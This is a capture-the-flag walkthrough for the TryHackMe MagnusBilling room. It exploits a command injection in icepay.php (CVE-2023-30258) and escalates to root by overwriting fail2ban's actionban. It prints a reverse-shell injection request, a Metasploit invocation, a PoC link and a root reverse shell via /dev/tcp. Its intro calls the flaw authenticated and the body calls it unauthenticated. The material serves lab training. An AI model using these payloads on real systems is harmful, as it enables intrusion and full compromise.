MagnusBilling writeup & walkthrough

MagnusBilling is an easy TryHackMe Linux room exploiting an authenticated command injection in MagnusBilling (CVE-2023-30258) for RCE and sudo-based privilege escalation.

thm-magnusbilling

Access Path

no access => asterisk => root

The walkthrough is organized around this escalation path: first gaining access, then explaining the key evidence or misconfiguration that moves the attack to the next privilege level. ---

Method 1 – Direct Exploit

MagnusBilling (CVE-2023-30258) has an unauthenticated command injection in icepay.php via the democ parameter. We trigger it with a sleep to confirm, then spawn a reverse shell.

# Trigger command injection
GET /mbilling/lib/icepay/icepay.php?democ=/dev/null;sleep%205;

# Spawn reverse shell (adjust IP/port as needed)
GET /mbilling/lib/icepay/icepay.php?democ=/dev/null;nc%20-e%20/bin/bash%2010.0.4.61%2020444;%205;

Method 2 – Metasploit

The same RCE is available as a Metasploit module if you prefer the automated route.

msfdb run

use exploit/linux/http/magnusbilling_unauth_rce_cve_2023_30258
setg RHOSTS 10.10.150.31
set LHOST tun0
run

Method 3 – Public Exploit PoC

A standalone Python PoC for the same CVE.

# Exploit script (Python PoC)
https://github.com/tinashelorenzi/CVE-2023-30258-magnus-billing-v7-exploit

Privilege Escalation – Fail2Ban Abuse

The web user can run fail2ban-client as root via sudo. Fail2Ban's sshd jail runs its actionban command as root when an IP is banned, so we overwrite that action with a reverse-shell payload and then trigger a ban to execute it as root.

# Read jail.conf for confirmation of sshd actionban rule
cat /etc/fail2ban/jail.conf | grep -A 10 sshd

# Replace actionban with reverse shell payload
sudo /usr/bin/fail2ban-client set sshd action iptables-multiport actionban "/bin/bash -c 'bash -i >& /dev/tcp/10.9.0.211/4445 0>&1'"

# Start listener: nc -lvnp 4445

# Trigger ban → executes payload as root
sudo /usr/bin/fail2ban-client set sshd banip 127.0.0.1